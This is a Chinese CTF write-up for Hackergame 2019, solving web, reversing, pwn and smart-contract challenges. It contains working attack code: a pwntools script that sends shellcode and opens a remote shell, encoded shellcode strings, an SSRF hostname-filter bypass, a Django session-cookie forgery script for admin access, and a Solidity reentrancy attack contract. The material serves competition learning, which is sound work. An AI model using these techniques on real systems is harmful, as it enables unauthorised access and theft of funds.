签到题 修改页面源码以及js代码,去掉disabled描述符,使用Fiddler替换,然后强制刷新页面 即可点击提交按钮得到flag
白与夜 图片是qq中常见的隐藏图,个人做这题时是用的手机 直接使用自带相册打开即可看到flag
信息安全 2077 注意到页面源码中设置了If-Unmodified-Since
为当前时间,而返回的Last-Modified
是Fri, 01 Oct 2077 00:00:00 GMT
,把If-Unmodified-Since
改为该值即可获得flag
宇宙终极问题(部分) 42 题目要求给出$x^3+y^3+z^3=42$的整数解,直接百度得到答案
1 (-80538738812075974)^3+80435758145817515^3+12602123297335631^3=42
输入即可得到flag
网页读取器 查看源代码,发现check_hostname时会把@之前的字符删掉
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def check_hostname (url ): for i in whitelist_scheme: if url.startswith(i): url = url[len (i):] url = url[url.find("@" ) + 1 :] if not url.find("/" ) == -1 : url = url[:url.find("/" )] if not url.find(":" ) == -1 : url = url[:url.find(":" )] if url not in whitelist_hostname: return (False , "hostname {} not in whitelist" .format (url)) return (True , "ok" ) return (False , "scheme not in whitelist, only {} allowed" .format (whitelist_scheme))
构造http://web1/[email protected]
提交,发现不对,于是加了个问号 即http://web1/[email protected]
得到flag
达拉崩吧大冒险 查看页面源码可知,使用WebSocket进行数据传输,用户端只能发送数字作为当前选项 测试发现在料理大市场买鸡时,可以购买负数的鸡(通过控制台ws.send(-1)发现
),猜测此处存在负数溢出漏洞。 完整流程代码:
1 2 3 4 5 ws.send(0 );ws.send(0 ); ws.send(0 );ws.send(-3223372036854775807 ); ws.send(2 ); ws.send(0 ); ws.send(2 );
此处使用的负数是MAX_INT64
(9223372036854775807
)的最高位改成3,一次即可溢出成功,攻击变成了2329883889435671600
Happy LUG ??的Punycode编码是xn--g28h
,故组合起来的域名为xn--g28h.hack.ustclug.org
查询该域名的txt记录即可得到flag(手机端可使用Network Tools
进行查询)
正则验证器 题目说需要找到运行时间超过一秒的正则表达式,查看源码发现还有长度限制 正则表达式长度不能大于6,匹配的文本长度不能大于24 个人直接百度找到了答案:如何中断一个长时间运行的“无限”Java正则表达式 正则:(0*)*A
,字符:00000000000000000000000
提交得到flag
小巧玲珑的 ELF IDA打开,查看伪代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 __asm { syscall; LINUX - sys_write syscall; LINUX - sys_read } for ( i = 0 ; i <= 45 ; ++i ) { buf[i] += 2 * i; buf[i] ^= i; buf[i] -= i; } for ( j = 0 ; j <= 45 ; ++j ) { if ( buf[j] != *(&v0 + j) ) __asm { syscall; LINUX - sys_exit } } __asm { syscall; LINUX - sys_write syscall; LINUX - sys_exit } }
其中v0到v45是数据段,需要dump出来(建议使用脚本) 这题有两种解法:爆破或者逆运算得出的flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 data = [0x66 ,0x6e ,0x65 ,0x6b ,0x83 ,0x4e ,0x6d ,0x74 ,0x85 ,0x7a ,0x6f ,0x57 ,0x91 ,0x73 ,0x90 ,0x4f ,0x8d ,0x7f ,0x63 ,0x36 ,0x6c ,0x6e ,0x87 ,0x69 ,0xa3 ,0x6f ,0x58 ,0x73 ,0x66 ,0x56 ,0x93 ,0x9f ,0x69 ,0x70 ,0x38 ,0x76 ,0x71 ,0x78 ,0x6f ,0x63 ,0xc4 ,0x82 ,0x84 ,0xbe ,0xbb ,0xcd ] for i in range (46 ): x = data[i] x += i x ^= i x -= 2 * i print (chr (x),end="" ) print ("\nbrute" )for i in range (46 ): for x in range (256 ): tmp_x = x x += 2 * i x ^= i x -= i if (x==data[i]): print (chr (tmp_x),end = "" )
Shell三骇客 本题是ShellCode
构造题,只要传入的ShellCode
满足过滤条件就会被执行
ShellHacker1 64位程序 没有任何过滤,使用pwntools
生成shellcode
,发送即可
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import *context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) shellcode=asm(shellcraft.sh()) token = "" sh = remote('202.38.93.241' ,10000 ) sh.recvuntil("Please input your token: " ) sh.sendline(token) sh.send(shellcode) sh.interactive()
ShellHacker2 32位程序,逆向得知call地址为eax 限制输入为数字和大写字母 使用msfvenom
对shellcode编码 得到
1 shellcode="PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIRJSXCXVO6OVOCCBH6OE2BI2NRJTKV8MYM36QHILY8MK0AA"
发送即可getshell
ShellHacker3 64位程序 限制输入为可打印字符 使用 ALPHA3 对shellcode编码:
1 python2 ALPHA3.py x64 ascii mixedcase RAX --input=sc.bin
得到
1 shellcode="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C101k2m0h2r4y5p164y390U050C"
发送即可getshell
三教奇妙夜 解压出一个视频,使用脚本逐帧提取,把0x0为黑色(rgb为[0 0 0])的图片提取出来 然后拼接图片中文字(字体为Dejavu Sans Mono
),即可得到flag
小 U 的加密 异或0x39
得到一个midi文件(文件头4D 54 68 64
),使用Audacity
打开得到flag 注:flag 中的字符串全部为英文小写字符。
献给最好的你 反编译,定位到com.hackergame.eternalEasterlyWind.data.LoginDataSource
类中的login
方法 大致流程为: 对输入的密码进行base64编码,然后把该字符串大小写互转,与pass1
:AgfJA2vYz2fTztiWmtL3AxrOzNvUiq==
进行对比 一致则进入下一流程: 调用logout
函数对rawpassword
和一个自己数组进行运算,得到flag 所以对pass1
进行大小写互转操作,得到hackergame2019withfun!
输入即可得到flag (个人是把代码copy出来,直接调用logout
函数输出的)
我想要个家
此题考察的是对于 Linux 基础知识的掌握。尽管可以,但不建议使用逆向工程的方式完成。
一开始的尝试 首先建立一个文件夹,作为程序执行的根目录(以yourhome为例) 并保证只存在这四个目录/Kitchen /Lavatory /Bedroom /Living_Room]
然后运行
1 chroot /yourhome/ ./IWantAHome-linux
然后要求/Bedroom/
下的Microphone
和Headset
的内容一致,考察链接的建立,执行语句:
然后要求/Living_Room
中有一个记录当前时间(格式20:15:30
)的Clock
文件 写个脚本循环输出时间到该文件,另开终端运行,然后重新运行IWantAHome-linux
1 2 3 4 5 #!/bin/bash while true do date "+%H:%M:%S" > /yourhome/Living_Room/Clock done
然后要求输入sleep 10 seconds in shell
的命令,输入sleep 10
提示环境变量中找不到该可执行文件,可见并不是字符串判断 于是添加sleep到根目录,执行./sleep 10
,提示找不到/dev/null
,添加该文件后还是报错,提示fork/exec ./sleep: no such file or directory
各种尝试,最后还是选择逆向了
逆向做法 使用IDA64打开该文件,利用IDAGolangHelper
脚本恢复函数名,找到main_main
函数,修改执行流程,直接输出flag
被泄漏的姜戈 在github
找到用户openlug
创建的库:https://github.com/openlug/django-common git clone下来,查看app/views.py
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from django.contrib.auth import authenticate, login, logoutfrom django.contrib.auth.decorators import login_requiredfrom django.shortcuts import render, redirectfrom django.urls import reversefrom django.views.decorators.csrf import csrf_exemptname = "Rabbit House 成员管理系统" def index (request ): if request.method == "GET" : if request.user.is_authenticated: return redirect(reverse("profile" )) return render(request, 'app/index.html' , { "name" : name }) elif request.method == "POST" : username = request.POST["username" ] password = request.POST["password" ] user = authenticate(request, username=username, password=password) if user is not None : login(request, user) return redirect(reverse("profile" )) else : return redirect(reverse("index" )) @login_required def profile (request ): if request.user.username == "admin" : user_profile = "flag redacted. login as admin on server to get flag." else : user_profile = "仅 admin 用户可阅览 flag。" return render(request, 'app/profile.html' , { "name" : name, "username" : request.user, "profile" : user_profile }) def log_out (request ): logout(request) return redirect(reverse("index" )) from django.contrib.auth import modelsdef update_last_login (sender, user, **kwargs ): pass models.update_last_login = update_last_login
关键在于if request.user.username == "admin":
判断,要让当前用户的用户名为admin
,推测是Cookie欺骗 对Cookie进行解密(完整代码见后文)得到
1 {'_auth_user_id' : '2' , '_auth_user_backend' : 'django.contrib.auth.backends.ModelBackend' , '_auth_user_hash' : '0a884f8b987fca1a92c6f93d9042d83eea72d98d' }
查看Django源码得知,_auth_user_backend
默认只有这一种,所以肯定是对_auth_user_id
和_auth_user_hash
进行替换 直接把_auth_user_id
改为1
,发现返回302跳转,所以应该还要得出admin的_auth_user_hash
值
源码中有数据库文件db.sqlite3
,查看发现其中有pbkdf2_sha256
加密后的密码admin
: pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=
guest
: pbkdf2_sha256$150000$8GFvEvr58uL6$YWM8Fqu8t/UYcW4iHqxXpkKPMEzlUvxbeHYJI45qBHM=
找到生成_auth_user_hash
的代码(django.contrib.auth.bast_user.py
)
1 2 3 4 5 6 def get_session_auth_hash (self ): """ Return an HMAC of the password field. """ key_salt = "django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash" return salted_hmac(key_salt, self.password).hexdigest()
copy出来,利用加密后的密码生成哈希值
1 2 3 password = "pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=" hash1 = salted_hmac("django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash" , password).hexdigest() print (hash1)
得到0a884f8b987fca1a92c6f93d9042d83eea72d98d
,恰好是解密出的_auth_user_hash
值,验证算法成功 然后修改_auth_user_id
和_auth_user_hash
,加密生成Cookie,requests.get即可 完整脚本(放置在openlug/
下):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import sys,os,json,requests,reos.environ.setdefault('DJANGO_SETTINGS_MODULE' ,'settings' ) from django.core import signingfrom django.contrib.sessions.backends import signed_cookiesfrom django.utils.crypto import salted_hmacdef decode (s ): return signing.loads(sess,key=None ,salt = "django.contrib.sessions.backends.signed_cookies" ,max_age=1209600 ) def encode (s ): return signing.dumps(sess,key=None ,salt = "django.contrib.sessions.backends.signed_cookies" ,compress = True ) def requestByCk (ck ): mcookie = {"sessionid" :ck} r = requests.get("http://202.38.93.241:10019/profile" ,cookies = mcookie,allow_redirects=False ) if (r.status_code == 200 ): rawstr = (r.text) username = re.findall(r"欢迎您,(.....)!" , rawstr) if (username[0 ] == 'admin' ): flag = re.findall(r"flag{.*}" , rawstr) print (flag[0 ]) elif (r.status_code == 302 ): print ("Wrong Cookie." ) else : print ("Error:" +r.status_code) sess = ".eJxVjDEOgzAMRe_iGUUQULE7du8ZIid2GtoqkQhMVe8OSAzt-t97_wOO1yW5tersJoErWGh-N8_hpfkA8uT8KCaUvMyTN4diTlrNvYi-b6f7d5C4pr1uGXGI6AnHGLhjsuESqRdqByvYq_JohVDguwH3fzGM:1iKXmf:PfphreMrpv-FPLjjGGKUkcFgc2Q" sess = decode(sess) print ("decode:" )print (sess)password = "pbkdf2_sha256$150000$KkiPe6beZ4MS$UWamIORhxnonmT4yAVnoUxScVzrqDTiE9YrrKFmX3hE=" adminHash = salted_hmac("django.contrib.auth.models.AbstractBaseUser.get_session_auth_hash" , password).hexdigest() print (adminHash)sess["_auth_user_id" ] = "1" sess["_auth_user_hash" ] = adminHash print ("changed:" )print (sess)sess = encode(sess) print ("encode:" )print (sess)requestByCk(sess)
PowerShell 迷宫 连接上服务器,cd到根目录,find查找PSMaze.dll
,发现在opt
文件夹中 使用base64
命令输出,拿到程序二进制进行分析 发现在MazeProvider.GetCellRepr
函数中会对当前节点进行判断,如果是终点则进行sha256计算,计算flag 写个powershell脚本遍历即可(使用Where-Object进行过滤,不走重复路线) 脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 Import-Module ./PSMaze.dll function print_i($i) { if($i.X -eq 63){ if($i.Y -eq 63){ write-host $i.PSPath -fore green write-host $i.Flag -fore red } } } function foreachPath($startFolder, $passDir) { $colItems = Get-ChildItem $startFolder | Where-Object { $_.Direction -ne $passDir } | Sort-Object foreach ($i in $colItems) { print_i $i $passDir = getInv $i.PSPath foreachPath $i.PSPath $passDir } } function getInv($path) { $direction = split-path $path -Leaf if ($direction -eq "Up") { return "Down" } if ($direction -eq "Down") { return "Up" } if ($direction -eq "Left") { return "Right" } if ($direction -eq "Right") { return "Left" } } foreachPath "Maze:/" "Up"
输出:
1 2 PSMaze\Maze::\Down\Right\Down\Right\Down\Right\Down\Down\Down\Right\Down\Right\Down\Right\Right\Down\Right\Down\Right\Down\Left\Down\Left\Left\Left\Left\Left\Down\Down\Right\Down\Left\Left\Down\Left\Down\Down\Down\Down\Down\Down\Down\Right\Down\Left\Down\Right\Right\Down\Down\Left\Down\Left\Down\Down\Down\Right\Up\Right\Down\Right\Down\Right\Up\Right\Right\Up\Up\Right\Up\Up\Right\Up\Right\Up\Up\Right\Up\Right\Up\Up\Right\Down\Down\Right\Down\Down\Down\Down\Down\Right\Right\Down\Down\Down\Down\Right\Right\Down\Left\Down\Down\Left\Down\Down\Down\Left\Down\Down\Down\Down\Down\Left\Left\Down\Left\Down\Left\Down\Left\Down\Left\Down\Down\Left\Left\Left\Down\Down\Down\Right\Down\Down\Right\Up\Right\Down\Right\Right\Right\Down\Right\Down\Down\Right\Up\Right\Down\Right\Up\Right\Right\Down\Down\Right\Down\Right\Down\Down\Right\Right\Right\Up\Right\Right\Right\Up\Right\Right\Right\Right\Up\Left\Up\Up\Up\Up\Right\Right\Right\Up\Right\Right\Right\Right\Right\Down\Down\Down\Left\Down\Right\Down\Right\Right\Up\Up\Right\Right\Down\Down\Right\Up\Right\Up\Right\Up\Right\Right\Down\Down\Right\Right\Right\Right\Up\Left\Up\Right\Right\Down\Right\Right\Right\Right\Down\Down\Down\Down\Right\Down\Right\Right\Up\Right\Right\Right\Down\Left\Down\Right\Right\Down\Right flag{D0_y0u_1ik3_PSC0r3_n0w_2C6BE488}
韭菜银行 flag1 执行
1 web3.eth.getStorageAt("0xE575c9abD35Fa94F1949f7d559056bB66FddEB51" ,2 ,console .log)
获取到secert的值,提交即可得到flag
flag2 withdraw
函数存在重入和溢出漏洞,构造攻击合约,使余额为一个大数 然后使用攻击合约调用get_flag_2
,即可设置got_flag字段的值,从而获得flag 攻击合约:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 pragma solidity ^0.4.26; contract JCBank { mapping (address => uint) public balance; mapping (uint => bool) public got_flag; uint128 secret; constructor (uint128 init_secret) public { secret = init_secret; } function deposit() public payable { balance[msg.sender] += msg.value; } function withdraw(uint amount) public { require(balance[msg.sender] >= amount); msg.sender.call.value(amount)(); balance[msg.sender] -= amount; } function get_flag_1(uint128 guess) public view returns(string) { require(guess == secret); bytes memory h = new bytes(32); for (uint i = 0; i < 32; i++) { uint b = (secret >> (4 * i)) & 0xF; if (b < 10) { h[31 - i] = byte(b + 48); } else { h[31 - i] = byte(b + 87); } } return string(abi.encodePacked("flag{", h, "}")); } function get_flag_2(uint user_id) public { require(balance[msg.sender] > 1000000000000 ether); got_flag[user_id] = true; balance[msg.sender] = 0; } } contract Battach{ address target; address owner; uint256 money; JCBank g; uint flag = 0; modifier ownerOnly { require(owner == msg.sender); _; } // 构造函数初始化合约所有者的地址 constructor() payable public{ target = 0xE575c9abD35Fa94F1949f7d559056bB66FddEB51; g = JCBank(target); owner = msg.sender; money = 1; } function getFlag(uint _user_id) ownerOnly payable{ g.get_flag_2(_user_id); } //开始攻击合约 function startattach() ownerOnly payable{ require(msg.value >= 1); flag = 0; g.deposit.value(money)(); g.withdraw(money); } // 销毁合约,相当于C++里的析构 function stopattach() ownerOnly{ selfdestruct(owner); } //fallback 函数 function() payable{ require(flag == 0); flag = 1; g.withdraw(money); } }
没有 BUG 的教务系统 第一题 定位到判断代码
1 2 3 4 5 6 for (i = 0 ; i <= 7 ; ++i) temp_password[i] = ((temp_password[i] | temp_password[i + 1 ]) & ~(temp_password[i] & temp_password[i + 1 ]) | i) & ~((temp_password[i] | temp_password[i + 1 ]) & ~(temp_password[i] & temp_password[i + 1 ]) & i); if (memcmp (temp_password, "\x44\x00\x02\x41\x43\x47\x10\x63\x00" , 9 )) { cout << "Bad guy! Wrong password!" << endl; exit (0 ); }
会对当前位和下一位进行运算,但是循环并没有操作最后一个字符00,所以从后往前逆推即可得到第一个flag
比赛时间内未完成的题 见Hackersgame 2019 的一些失败尝试及复现
还是太菜了 = =